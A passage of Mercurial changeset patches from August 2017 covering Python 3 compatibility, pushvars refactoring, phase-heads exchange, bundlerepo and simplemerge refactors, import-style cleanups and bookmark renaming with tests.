             raise ValueError('empty parameter name')
-        if name[0] not in string.letters:
+        if name[0] not in pycompat.bytestr(string.ascii_letters):
             raise ValueError('non letter first character: %r' % name)
         self._params.append((name, value))
 
@@ -765,7 +765,7 @@
         """
         if not name:
             raise ValueError('empty parameter name')
-        if name[0] not in string.letters:
+        if name[0] not in pycompat.bytestr(string.ascii_letters):
             raise ValueError('non letter first character: %r' % name)
         try:
             handler = b2streamparamsmap[name.lower()]
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1503314017 -19800
#      Mon Aug 21 16:43:37 2017 +0530
# Node ID e5d104c35e5195049f6a169673beef696fe22bae
# Parent  8d75b9effa070362969d1f9acd3ac1c5948d8b76
morestatus: check whether the conflict message is None before printing

There are cases like bisect when the conflict message can be None. So we make
sure that we don't print None in that case.

Thanks to Martin for catching this.

Differential Revision: https://phab.mercurial-scm.org/D461

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -673,7 +673,8 @@
         statemsg = _('The repository is in an unfinished *%s* state.') % state
         fm.write('statemsg', '%s\n',  _commentlines(statemsg), label=label)
         conmsg = _conflictsmsg(repo)
-        fm.write('conflictsmsg', '%s\n', conmsg, label=label)
+        if conmsg:
+            fm.write('conflictsmsg', '%s\n', conmsg, label=label)
         if helpfulmsg:
             helpmsg = helpfulmsg()
             fm.write('helpmsg', '%s\n', helpmsg, label=label)
diff --git a/tests/test-bisect.t b/tests/test-bisect.t
--- a/tests/test-bisect.t
+++ b/tests/test-bisect.t
@@ -187,7 +187,6 @@
   $ hg status -v
   # The repository is in an unfinished *bisect* state.
   
-  None
   # To mark the changeset good:    hg bisect --good
   # To mark the changeset bad:     hg bisect --bad
   # To abort:                      hg bisect --reset
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502923728 25200
#      Wed Aug 16 15:48:48 2017 -0700
# Node ID 800bb35d891e420701415205bef2aa176b556446
# Parent  e5d104c35e5195049f6a169673beef696fe22bae
pushvars: do not mangle repo state

Setting `repo._shellvars` works but is not a clean way to pass the pushvars
information from the push command to the exchange operation. Therefore
change it to actually pass `pushvars` as a push operation argument instead.

This makes third party extension like remotenames easier to support pushvars
cleanly. The key value parsing and verification code has been moved to a
lower level so it's harder to be bypassed and easier to be used in
remotenames which could replace `push` command entirely.

Differential Revision: https://phab.mercurial-scm.org/D423

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4082,26 +4082,13 @@
     finally:
         del repo._subtoppath
 
-    pushvars = opts.get('pushvars')
-    if pushvars:
-        shellvars = {}
-        for raw in pushvars:
-            if '=' not in raw:
-                msg = ("unable to parse variable '%s', should follow "
-                        "'KEY=VALUE' or 'KEY=' format")
-                raise error.Abort(msg % raw)
-            k, v = raw.split('=', 1)
-            shellvars[k] = v
-
-        repo._shellvars = shellvars
+    opargs = dict(opts.get('opargs', {})) # copy opargs since we may mutate it
+    opargs.setdefault('pushvars', []).extend(opts.get('pushvars', []))
 
     pushop = exchange.push(repo, other, opts.get('force'), revs=revs,
                            newbranch=opts.get('new_branch'),
                            bookmarks=opts.get('bookmark', ()),
-                           opargs=opts.get('opargs'))
-
-    if pushvars:
-        del repo._shellvars
+                           opargs=opargs)
 
     result = not pushop.cgresult
 
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -294,7 +294,7 @@
     """
 
     def __init__(self, repo, remote, force=False, revs=None, newbranch=False,
-                 bookmarks=()):
+                 bookmarks=(), pushvars=None):
         # repo we push from
         self.repo = repo
         self.ui = repo.ui
@@ -352,6 +352,8 @@
         # map { pushkey partid -> callback handling failure}
         # used to handle exception from mandatory pushkey part failure
         self.pkfailcb = {}
+        # an iterable of pushvars or None
+        self.pushvars = pushvars
 
     @util.propertycache
     def futureheads(self):
@@ -876,10 +878,20 @@
 @b2partsgenerator('pushvars', idx=0)
 def _getbundlesendvars(pushop, bundler):
     '''send shellvars via bundle2'''
-    if getattr(pushop.repo, '_shellvars', ()):
+    pushvars = pushop.pushvars
+    if pushvars:
+        shellvars = {}
+        for raw in pushvars:
+            if '=' not in raw:
+                msg = ("unable to parse variable '%s', should follow "
+                        "'KEY=VALUE' or 'KEY=' format")
+                raise error.Abort(msg % raw)
+            k, v = raw.split('=', 1)
+            shellvars[k] = v
+
         part = bundler.newpart('pushvars')
 
-        for key, value in pushop.repo._shellvars.iteritems():
+        for key, value in shellvars.iteritems():
             part.addparam(key, value, mandatory=False)
 
 def _pushbundle2(pushop):
diff --git a/tests/test-pushvars.t b/tests/test-pushvars.t
--- a/tests/test-pushvars.t
+++ b/tests/test-pushvars.t
@@ -66,5 +66,6 @@
   $ hg commit -Aqm b
   $ hg push --pushvars "DEBUG"
   pushing to $TESTTMP/repo (glob)
+  searching for changes
   abort: unable to parse variable 'DEBUG', should follow 'KEY=VALUE' or 'KEY=' format
   [255]
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503000287 25200
#      Thu Aug 17 13:04:47 2017 -0700
# Node ID 13dc7f29531e3cd11f5f98e7d5cee836d1e62ac5
# Parent  800bb35d891e420701415205bef2aa176b556446
exchange: don't attempt phase exchange if phase-heads was in bundle

The Mercurial core server doesn't yet include phase-heads parts in the
bundle, but our Google-internal server wants to do
that. Unfortunately, the usual exchange still happens even if
phase-heads part is included (including the short-circuited one for
old/publishing servers). That means that even if our server (again,
the Google-internal one, but also future Mercurial core servers)
includes a phase-heads part to indicate that some heads should be
drafts, that would still get overwritten by the phase updating that
happens after. So let's fix that by marking the phase step done if we
receive at least one phase-heads part in the bundle.

Differential Revision: https://phab.mercurial-scm.org/D440

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1815,6 +1815,7 @@
     """apply phases from bundle part to repo"""
     headsbyphase = _readphaseheads(inpart)
     phases.updatephases(op.repo.unfiltered(), op.gettransaction(), headsbyphase)
+    op.records.add('phase-heads', {})
 
 @parthandler('reply:pushkey', ('return', 'in-reply-to'))
 def handlepushkeyreply(op, inpart):
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1401,6 +1401,10 @@
     if pullop.fetch:
         pullop.cgresult = bundle2.combinechangegroupresults(op)
 
+    # If the bundle had a phase-heads part, then phase exchange is already done
+    if op.records['phase-heads']:
+        pullop.stepsdone.add('phases')
+
     # processing phases change
     for namespace, value in op.records['listkeys']:
         if namespace == 'phases':
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1503516896 25200
#      Wed Aug 23 12:34:56 2017 -0700
# Node ID 702a26fec3e2e85f05af3ebeaf0fc037027ad2b6
# Parent  13dc7f29531e3cd11f5f98e7d5cee836d1e62ac5
bundlerepo: move temp bundle creation to a separate function

A future patch will refactor certain parts of bundlerepo initiatlization such
that we need to create temp bundles from another function. Let's move this to
another function to support that.

Differential Revision: https://phab.mercurial-scm.org/D288

diff --git a/mercurial/bundlerepo.py b/mercurial/bundlerepo.py
--- a/mercurial/bundlerepo.py
+++ b/mercurial/bundlerepo.py
@@ -264,24 +264,6 @@
 
 class bundlerepository(localrepo.localrepository):
     def __init__(self, ui, path, bundlename):
-        def _writetempbundle(read, suffix, header=''):
-            """Write a temporary file to disk
-
-            This is closure because we need to make sure this tracked by
-            self.tempfile for cleanup purposes."""
-            fdtemp, temp = self.vfs.mkstemp(prefix="hg-bundle-",
-                                            suffix=".hg10un")
-            self.tempfile = temp
-
-            with os.fdopen(fdtemp, pycompat.sysstr('wb')) as fptemp:
-                fptemp.write(header)
-                while True:
-                    chunk = read(2**18)
-                    if not chunk:
-                        break
-                    fptemp.write(chunk)
-
-            return self.vfs.open(self.tempfile, mode="rb")
         self._tempparent = None
         try:
             localrepo.localrepository.__init__(self, ui, path)
@@ -314,8 +296,8 @@
                         msg = _('Unsupported changegroup version: %s')
                         raise error.Abort(msg % version)
                     if self.bundle.compressed():
-                        cgstream = _writetempbundle(part.read,
-                                                    ".cg%sun" % version)
+                        cgstream = self._writetempbundle(part.read,
+                                                         ".cg%sun" % version)
 
             if cgstream is None:
                 raise error.Abort(_('No changegroups found'))
@@ -324,7 +306,8 @@
             self.bundle = changegroup.getunbundler(version, cgstream, 'UN')
 
         elif self.bundle.compressed():
-            f = _writetempbundle(self.bundle.read, '.hg10un', header='HG10UN')
+            f = self._writetempbundle(self.bundle.read, '.hg10un',
+                                      header='HG10UN')
             self.bundlefile = self.bundle = exchange.readbundle(ui, f,
                                                                 bundlename,
                                                                 self.vfs)
@@ -336,6 +319,23 @@
         phases.retractboundary(self, None, phases.draft,
                                [ctx.node() for ctx in self[self.firstnewrev:]])
 
+    def _writetempbundle(self, readfn, suffix, header=''):
+        """Write a temporary file to disk
+        """
+        fdtemp, temp = self.vfs.mkstemp(prefix="hg-bundle-",
+                                        suffix=".hg10un")
+        self.tempfile = temp
+
+        with os.fdopen(fdtemp, pycompat.sysstr('wb')) as fptemp:
+            fptemp.write(header)
+            while True:
+                chunk = readfn(2**18)
+                if not chunk:
+                    break
+                fptemp.write(chunk)
+
+        return self.vfs.open(self.tempfile, mode="rb")
+
     @localrepo.unfilteredpropertycache
     def _phasecache(self):
         return bundlephasecache(self, self._phasedefaults)
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1503516903 25200
#      Wed Aug 23 12:35:03 2017 -0700
# Node ID 891118dcd27902147fe2a2c9b40dac7deb53b5ee
# Parent  702a26fec3e2e85f05af3ebeaf0fc037027ad2b6
bundle2: seek part back during iteration

Previously, iterparts would yield the part to users, then consume the part. This
changed the part after the user was given it and left it at the end, both of
which seem unexpected.  Let's seek back to the beginning after we've consumed
it. I tried not seeking to the end at all, but that seems important for the
overall bundle2 consumption.

This is used in a future patch to let us move the bundlerepo
bundle2-changegroup-part to be handled entirely within the for loop, instead of
having to do a seek back to 0 after the entire loop finishes.

Differential Revision: https://phab.mercurial-scm.org/D289

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -828,7 +828,11 @@
         while headerblock is not None:
             part = unbundlepart(self.ui, headerblock, self._fp)
             yield part
+            # Seek to the end of the part to force it's consumption so the next
+            # part can be read. But then seek back to the beginning so the
+            # code consuming this generator has a part that starts at 0.
             part.seek(0, 2)
+            part.seek(0)
             headerblock = self._readpartheader()
         indebug(self.ui, 'end of bundle2 stream')
 
diff --git a/mercurial/bundlerepo.py b/mercurial/bundlerepo.py
--- a/mercurial/bundlerepo.py
+++ b/mercurial/bundlerepo.py
@@ -301,7 +301,6 @@
 
             if cgstream is None:
                 raise error.Abort(_('No changegroups found'))
-            cgstream.seek(0)
 
             self.bundle = changegroup.getunbundler(version, cgstream, 'UN')
 
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1503516903 25200
#      Wed Aug 23 12:35:03 2017 -0700
# Node ID f672d060a931236390bddb97710516d29131a54c
# Parent  891118dcd27902147fe2a2c9b40dac7deb53b5ee
bundlerepo: move bundle2 part handling out to a function

This moves the bundle2 part handling for bundlerepo out to a separate function
so extensions can participate in bundlerepo setup when using bundle2 bundles.

Differential Revision: https://phab.mercurial-scm.org/D290

diff --git a/mercurial/bundlerepo.py b/mercurial/bundlerepo.py
--- a/mercurial/bundlerepo.py
+++ b/mercurial/bundlerepo.py
@@ -283,26 +283,18 @@
         self.bundlefile = self.bundle = exchange.readbundle(ui, f, bundlename)
 
         if isinstance(self.bundle, bundle2.unbundle20):
-            cgstream = None
+            hadchangegroup = False
             for part in self.bundle.iterparts():
                 if part.type == 'changegroup':
-                    if cgstream is not None:
+                    if hadchangegroup:
                         raise NotImplementedError("can't process "
                                                   "multiple changegroups")
-                    cgstream = part
-                    version = part.params.get('version', '01')
-                    legalcgvers = changegroup.supportedincomingversions(self)
-                    if version not in legalcgvers:
-                        msg = _('Unsupported changegroup version: %s')
-                        raise error.Abort(msg % version)
-                    if self.bundle.compressed():
-                        cgstream = self._writetempbundle(part.read,
-                                                         ".cg%sun" % version)
+                    hadchangegroup = True
 
-            if cgstream is None:
-                raise error.Abort(_('No changegroups found'))
+                self._handlebundle2part(part)
 
-            self.bundle = changegroup.getunbundler(version, cgstream, 'UN')
+            if not hadchangegroup:
+                raise error.Abort(_("No changegroups found"))
 
         elif self.bundle.compressed():
             f = self._writetempbundle(self.bundle.read, '.hg10un',
@@ -318,6 +310,20 @@
         phases.retractboundary(self, None, phases.draft,
                                [ctx.node() for ctx in self[self.firstnewrev:]])
 
+    def _handlebundle2part(self, part):
+        if part.type == 'changegroup':
+            cgstream = part
+            version = part.params.get('version', '01')
+            legalcgvers = changegroup.supportedincomingversions(self)
+            if version not in legalcgvers:
+                msg = _('Unsupported changegroup version: %s')
+                raise error.Abort(msg % version)
+            if self.bundle.compressed():
+                cgstream = self._writetempbundle(part.read,
+                                                 ".cg%sun" % version)
+
+            self.bundle = changegroup.getunbundler(version, cgstream, 'UN')
+
     def _writetempbundle(self, readfn, suffix, header=''):
         """Write a temporary file to disk
         """
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503421161 14400
#      Tue Aug 22 12:59:21 2017 -0400
# Node ID 3de9a2df641191755f9a58abb6363b0620ff065d
# Parent  f672d060a931236390bddb97710516d29131a54c
contrib: have import-checker work mostly with native strings for mod names

Module names are a bit awkward to deal with portably otherwise.

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -147,6 +147,8 @@
     >>> fromlocal2('bar', 2)
     ('foo.bar', 'foo.bar.__init__', True)
     """
+    if not isinstance(modulename, str):
+        modulename = modulename.decode('ascii')
     prefix = '.'.join(modulename.split('.')[:-1])
     if prefix:
         prefix += '.'
@@ -406,6 +408,8 @@
     * Certain modules must be aliased to alternate names to avoid aliasing
       and readability problems. See `requirealias`.
     """
+    if not isinstance(module, str):
+        module = module.decode('ascii')
     topmodule = module.split('.')[0]
     fromlocal = fromlocalfunc(module, localmods)
 
@@ -724,6 +728,9 @@
         localmodpaths[modname] = source_path
     localmods = populateextmods(localmodpaths)
     for localmodname, source_path in sorted(localmodpaths.items()):
+        if not isinstance(localmodname, bytes):
+            # This is only safe because all hg's files are ascii
+            localmodname = localmodname.encode('ascii')
         for src, modname, name, line in sources(source_path, localmodname):
             try:
                 used_imports[modname] = sorted(
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425508 14400
#      Tue Aug 22 14:11:48 2017 -0400
# Node ID 42bc7f39376bc5b6c96fe35b591229d7f2f4970a
# Parent  3de9a2df641191755f9a58abb6363b0620ff065d
contrib: update hg-ssh to conform with import style checks

diff --git a/contrib/hg-ssh b/contrib/hg-ssh
--- a/contrib/hg-ssh
+++ b/contrib/hg-ssh
@@ -28,13 +28,19 @@
 You can also add a --read-only flag to allow read-only access to a key, e.g.:
 command="hg-ssh --read-only repos/*"
 """
+from __future__ import absolute_import
+
+import os
+import shlex
+import sys
 
 # enable importing on demand to reduce startup time
-from mercurial import demandimport; demandimport.enable()
+import hgdemandimport ; hgdemandimport.enable()
 
-from mercurial import dispatch, ui as uimod
-
-import sys, os, shlex
+from mercurial import (
+    dispatch,
+    ui as uimod,
+)
 
 def main():
     cwd = os.getcwd()
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425523 14400
#      Tue Aug 22 14:12:03 2017 -0400
# Node ID 78f644fdaa2a9cc781d5f7116c024108590bd6fe
# Parent  42bc7f39376bc5b6c96fe35b591229d7f2f4970a
hgperf: update to conform with import style checks

diff --git a/contrib/hgperf b/contrib/hgperf
--- a/contrib/hgperf
+++ b/contrib/hgperf
@@ -52,18 +52,20 @@
     sys.stderr.write("(check your install and PYTHONPATH)\n")
     sys.exit(-1)
 
-import mercurial.util
-import mercurial.dispatch
+from mercurial import (
+    dispatch,
+    util,
+)
 
 def timer(func, title=None):
     results = []
-    begin = mercurial.util.timer()
+    begin = util.timer()
     count = 0
     while True:
         ostart = os.times()
-        cstart = mercurial.util.timer()
+        cstart = util.timer()
         r = func()
-        cstop = mercurial.util.timer()
+        cstop = util.timer()
         ostop = os.times()
         count += 1
         a, b = ostart, ostop
@@ -80,7 +82,7 @@
     sys.stderr.write("! wall %f comb %f user %f sys %f (best of %d)\n"
                      % (m[0], m[1] + m[2], m[1], m[2], count))
 
-orgruncommand = mercurial.dispatch.runcommand
+orgruncommand = dispatch.runcommand
 
 def runcommand(lui, repo, cmd, fullargs, ui, options, d, cmdpats, cmdoptions):
     ui.pushbuffer()
@@ -90,9 +92,9 @@
     ui.popbuffer()
     lui.popbuffer()
 
-mercurial.dispatch.runcommand = runcommand
+dispatch.runcommand = runcommand
 
 for fp in (sys.stdin, sys.stdout, sys.stderr):
-    mercurial.util.setbinary(fp)
+    util.setbinary(fp)
 
-mercurial.dispatch.run()
+dispatch.run()
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425541 14400
#      Tue Aug 22 14:12:21 2017 -0400
# Node ID c9cf69d0c3b9a6f8578f7e33f8cb3f0c7949d608
# Parent  78f644fdaa2a9cc781d5f7116c024108590bd6fe
contrib: allow importing "symbols" from mercurial

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -21,6 +21,7 @@
 # Whitelist of modules that symbols can be directly imported from.
 allowsymbolimports = (
     '__future__',
+    'mercurial',
     'mercurial.hgweb.common',
     'mercurial.hgweb.request',
     'mercurial.i18n',
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425557 14400
#      Tue Aug 22 14:12:37 2017 -0400
# Node ID c856cb1c29be82a347daca12621631833cd93e0d
# Parent  c9cf69d0c3b9a6f8578f7e33f8cb3f0c7949d608
contrib: inform import checker that __builtin__ is a thing

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -220,6 +220,7 @@
     # consider them stdlib.
     for m in ['msvcrt', '_winreg']:
         yield m
+    yield '__builtin__'
     yield 'builtins' # python3 only
     for m in 'fcntl', 'grp', 'pwd', 'termios':  # Unix only
         yield m
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425593 14400
#      Tue Aug 22 14:13:13 2017 -0400
# Node ID aed91971d88c6cbffe12e43eaf4a23e96df19d27
# Parent  c856cb1c29be82a347daca12621631833cd93e0d
simplemerge: update to conform with modern import conventions

diff --git a/contrib/simplemerge b/contrib/simplemerge
--- a/contrib/simplemerge
+++ b/contrib/simplemerge
@@ -1,12 +1,20 @@
 #!/usr/bin/env python
-
-from mercurial import demandimport
-demandimport.enable()
+from __future__ import absolute_import
 
 import getopt
 import sys
+
+import hgdemandimport
+hgdemandimport.enable()
+
 from mercurial.i18n import _
-from mercurial import error, simplemerge, fancyopts, util, ui
+from mercurial import (
+    error,
+    fancyopts,
+    simplemerge,
+    ui as uimod,
+    util,
+)
 
 options = [('L', 'label', [], _('labels to use on conflict markers')),
            ('a', 'text', None, _('treat all files as text')),
@@ -55,7 +63,7 @@
         sys.exit(0)
     if len(args) != 3:
             raise ParseError(_('wrong number of arguments'))
-    sys.exit(simplemerge.simplemerge(ui.ui.load(), *args, **opts))
+    sys.exit(simplemerge.simplemerge(uimod.ui.load(), *args, **opts))
 except ParseError as e:
     sys.stdout.write("%s: %s\n" % (sys.argv[0], e))
     showhelp()
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425659 14400
#      Tue Aug 22 14:14:19 2017 -0400
# Node ID 1900381b6a6efca5ccf1b66d5ad712412333b3e4
# Parent  aed91971d88c6cbffe12e43eaf4a23e96df19d27
hg: update top-level script to use modern import conventions

diff --git a/hg b/hg
--- a/hg
+++ b/hg
@@ -6,6 +6,7 @@
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
+from __future__ import absolute_import
 
 import os
 import sys
@@ -36,10 +37,11 @@
     sys.stderr.write("(check your install and PYTHONPATH)\n")
     sys.exit(-1)
 
-import mercurial.util
-import mercurial.dispatch
-
+from mercurial import (
+    dispatch,
+    util,
+)
 for fp in (sys.stdin, sys.stdout, sys.stderr):
-    mercurial.util.setbinary(fp)
+    util.setbinary(fp)
 
-mercurial.dispatch.run()
+dispatch.run()
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503432177 14400
#      Tue Aug 22 16:02:57 2017 -0400
# Node ID b4294ff133926cf0901a80374052dce63a570e2c
# Parent  1900381b6a6efca5ccf1b66d5ad712412333b3e4
contrib: always treat importlib.* as stdlib

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -222,6 +222,9 @@
         yield m
     yield '__builtin__'
     yield 'builtins' # python3 only
+    yield 'importlib.abc' # python3 only
+    yield 'importlib.machinery' # python3 only
+    yield 'importlib.util' # python3 only
     for m in 'fcntl', 'grp', 'pwd', 'termios':  # Unix only
         yield m
     for m in 'cPickle', 'datetime': # in Python (not C) on PyPy
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425674 14400
#      Tue Aug 22 14:14:34 2017 -0400
# Node ID 3595e4e0ae57f02cc835e2f1fc178236819374b0
# Parent  b4294ff133926cf0901a80374052dce63a570e2c
demandimportpy3: update to pass import checker

diff --git a/hgdemandimport/demandimportpy3.py b/hgdemandimport/demandimportpy3.py
--- a/hgdemandimport/demandimportpy3.py
+++ b/hgdemandimport/demandimportpy3.py
@@ -27,11 +27,10 @@
 from __future__ import absolute_import
 
 import contextlib
-import sys
-
 import importlib.abc
 import importlib.machinery
 import importlib.util
+import sys
 
 _deactivated = False
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503425692 14400
#      Tue Aug 22 14:14:52 2017 -0400
# Node ID 078099304772925ddb583a3b34b8bff862adf3a2
# Parent  3595e4e0ae57f02cc835e2f1fc178236819374b0
i18n: update check-translation script to pass import checker

diff --git a/i18n/check-translation.py b/i18n/check-translation.py
--- a/i18n/check-translation.py
+++ b/i18n/check-translation.py
@@ -1,9 +1,11 @@
 #!/usr/bin/env python
 #
 # check-translation.py - check Mercurial specific translation problems
+from __future__ import absolute_import
+
+import re
 
 import polib
-import re
 
 scanners = []
 checkers = []
diff --git a/tests/test-check-py3-compat.t b/tests/test-check-py3-compat.t
--- a/tests/test-check-py3-compat.t
+++ b/tests/test-check-py3-compat.t
@@ -19,7 +19,6 @@
   contrib/python-zstandard/tests/test_estimate_sizes.py not using absolute_import
   contrib/python-zstandard/tests/test_module_attributes.py not using absolute_import
   contrib/python-zstandard/tests/test_train_dictionary.py not using absolute_import
-  i18n/check-translation.py not using absolute_import
   setup.py not using absolute_import
   tests/test-demandimport.py not using absolute_import
 
# HG changeset patch
# User David Demelier <markand@malikania.fr>
# Date 1503298366 -7200
#      Mon Aug 21 08:52:46 2017 +0200
# Node ID 10f1809ab98f18e7ad3284fcf5d3ec9b699c6e15
# Parent  078099304772925ddb583a3b34b8bff862adf3a2
bookmarks: allow renaming active bookmark using '.'

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -968,6 +968,7 @@
                     raise error.Abort(_("new bookmark name required"))
                 elif len(names) > 1:
                     raise error.Abort(_("only one new bookmark name allowed"))
+                rename = repo._bookmarks.expandname(rename)
                 bookmarks.rename(repo, tr, rename, names[0], force, inactive)
             elif names:
                 bookmarks.addbookmarks(repo, tr, names, rev, force, inactive)
diff --git a/tests/test-bookmarks.t b/tests/test-bookmarks.t
--- a/tests/test-bookmarks.t
+++ b/tests/test-bookmarks.t
@@ -191,6 +191,28 @@
 
   $ hg bookmark -f -m X Y
 
+rename bookmark using .
+
+  $ hg book rename-me
+  $ hg book -m . renamed
+  $ hg bookmark
+     X2                        1:925d80f479bb
+     Y                         2:db815d6d32e6
+     Z                         0:f7b1eb17ad24
+   * renamed                   2:db815d6d32e6
+  $ hg up -q Y
+  $ hg book -d renamed
+
+rename bookmark using . with no active bookmark
+
+  $ hg book rename-me
+  $ hg book -i rename-me
+  $ hg book -m . renamed
+  abort: no active bookmark
+  [255]
+  $ hg up -q Y
+  $ hg book -d rename-me
+
 list bookmarks
 
   $ hg bookmark
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503635200 25200
#      Thu Aug 24 21:26:40 2017 -0700
# Node ID f488223a87ab5325a05011b8ad913e9628a0a367
# Parent  10f1809ab98f18e7ad3284fcf5d3ec9b699c6e15
context: add `decodeddata()` to basefilectx

This will be used as an abstraction by simplemerge to get the data it used to
read off the filesystem.

Differential Revision: https://phab.mercurial-scm.org/D434

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1097,6 +1097,13 @@
             c = visit.pop(max(visit))
             yield c
 
+    def decodeddata(self):
+        """Returns `data()` after running repository decoding filters.
+
+        This is often equivalent to how the data would be expressed on disk.
+        """
+        return self._repo.wwritedata(self.path(), self.data())
+
 def _annotatepair(parents, childfctx, child, skipchild, diffopts):
     r'''
     Given parent and child fctxes and annotate data for parents, for all lines
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503635200 25200
#      Thu Aug 24 21:26:40 2017 -0700
# Node ID f39ba8237ed60fbd338be2df6f44bbcc49dd36c4
# Parent  f488223a87ab5325a05011b8ad913e9628a0a367
simplemerge: use `ctx.decoddeddata()` instead of `repo.wreaddata`

This eliminates the need for the `repo` object.

Differential Revision: https://phab.mercurial-scm.org/D435

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -438,15 +438,14 @@
     def readctx(ctx):
         if not ctx:
             return None
-        if not repo:
-            raise error.ProgrammingError('simplemerge: repo must be passed if '
-                                         'using contexts')
-        # `wwritedata` is used to get the post-filter data from `ctx` (i.e.,
-        # what would have been in the working copy). Since merges were run in
-        # the working copy, and thus used post-filter data, we do the same to
-        # maintain behavior.
-        return repo.wwritedata(ctx.path(),
-                               _verifytext(ctx.data(), ctx.path(), ui, opts))
+        # Merges were always run in the working copy before, which means
+        # they used decoded data, if the user defined any repository
+        # filters.
+        #
+        # Maintain that behavior today for BC, though perhaps in the future
+        # it'd be worth considering whether merging encoded data (what the
+        # repository usually sees) might be more useful.
+        return _verifytext(ctx.decodeddata(), ctx.path(), ui, opts)
 
     class ctxwriter(object):
         def __init__(self, ctx):
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503635437 25200
#      Thu Aug 24 21:30:37 2017 -0700
# Node ID ed6f641731213c93bd6b0bfec4f084488bbf84d2
# Parent  f39ba8237ed60fbd338be2df6f44bbcc49dd36c4
contrib: make simplemerge script pass context-like objects

`simplemerge()` will soon require context-like objects to work. Create a simple
context-like object that wraps the requested files and can be passed to the new
API.

Differential Revision: https://phab.mercurial-scm.org/D378

diff --git a/contrib/simplemerge b/contrib/simplemerge
--- a/contrib/simplemerge
+++ b/contrib/simplemerge
@@ -49,6 +49,26 @@
     for first, second in out_opts:
         sys.stdout.write(' %-*s  %s\n' % (opts_len, first, second))
 
+class filebackedctx(object):
+    """simplemerge requires context-like objects"""
+    def __init__(self, path):
+        self._path = path
+
+    def decodeddata(self):
+        with open(self._path, "rb") as f:
+            return f.read()
+
+    def flags(self):
+        return ''
+
+    def path(self):
+        return self._path
+
+    def write(self, data, flags):
+        assert not flags
+        with open(self._path, "w") as f:
+            f.write(data)
+
 try:
     for fp in (sys.stdin, sys.stdout, sys.stderr):
         util.setbinary(fp)
@@ -63,7 +83,16 @@
         sys.exit(0)
     if len(args) != 3:
             raise ParseError(_('wrong number of arguments'))
-    sys.exit(simplemerge.simplemerge(uimod.ui.load(), *args, **opts))
+    local, base, other = args
+    sys.exit(simplemerge.simplemerge(uimod.ui.load(),
+                                     local,
+                                     base,
+                                     other,
+                                     filebackedctx(local),
+                                     filebackedctx(base),
+                                     filebackedctx(other),
+                                     filtereddata=True,
+                                     **opts))
 except ParseError as e:
     sys.stdout.write("%s: %s\n" % (sys.argv[0], e))
     showhelp()
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503635437 25200
#      Thu Aug 24 21:30:37 2017 -0700
# Node ID 1915a5e809ca8a2b938e82765ce0dec1bba64cff
# Parent  ed6f641731213c93bd6b0bfec4f084488bbf84d2
simplemerge: use context paths for default labels instead of file paths

This is the last place we used the filepath arguments without first using the
context version.

Differential Revision: https://phab.mercurial-scm.org/D379

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -461,8 +461,8 @@
     mode = opts.get('mode','merge')
     name_a, name_b, name_base = None, None, None
     if mode != 'union':
-        name_a, name_b, name_base = _picklabels([localfile,
-                                                 otherfile, None],
+        name_a, name_b, name_base = _picklabels([localctx.path(),
+                                                 otherctx.path(), None],
                                                 opts.get('label', []))
 
     try:
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503635437 25200
#      Thu Aug 24 21:30:37 2017 -0700
# Node ID 61b267a99fea8d7f6b9fa6dceade50044709df1d
# Parent  1915a5e809ca8a2b938e82765ce0dec1bba64cff
simplemerge: stop reading from, and writing to, files

We now use contexts first for everything and also pass them everywhere.

Differential Revision: https://phab.mercurial-scm.org/D380

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
